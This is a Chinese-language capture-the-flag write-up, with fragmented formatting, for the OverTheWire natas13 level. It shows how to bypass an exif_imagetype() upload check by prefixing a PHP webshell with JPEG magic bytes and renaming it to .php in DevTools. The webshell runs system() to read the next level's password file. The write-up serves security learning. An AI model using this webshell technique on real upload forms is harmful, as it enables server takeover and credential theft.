natas13
input
標籤的 value
中,上傳檔案後會重新生成檔案名稱但保留副檔名,使用 exif_imagetype()
檢查是否為圖片檔案,並將檔案位址的超連結回顯於網頁中
echo '\xFF\xD8\xFF\xE0<?php system("cat /etc/natas_webpass/natas14"); ?>' > natas13_webshell.php
Ctrl + Shift + i
或 F12
開啟 DevTools,找到包含亂數檔案名稱的 input
標籤,修改成 value=<隨便你>.php
後按下 Upload File 按鈕上傳檔案
.php
的檔案來執行 webshell、副檔名 .txt
使用記事本開啟,而檔案實際格式則是 File Signature (Magic Numbers/Bytes),每種檔案都有相對應的格式定義,例如 PNG (Portable Network Graphics) Specification, Version 1.2、APPNOTE.TXT - .ZIP File Format Specification
.zip
,則有可能因為系統嘗試以 ZIP 的方式開啟而導致失敗,因為檔案內容、格式都未改變,不會因此而變成 ZIP 壓縮檔
exif_imagetype()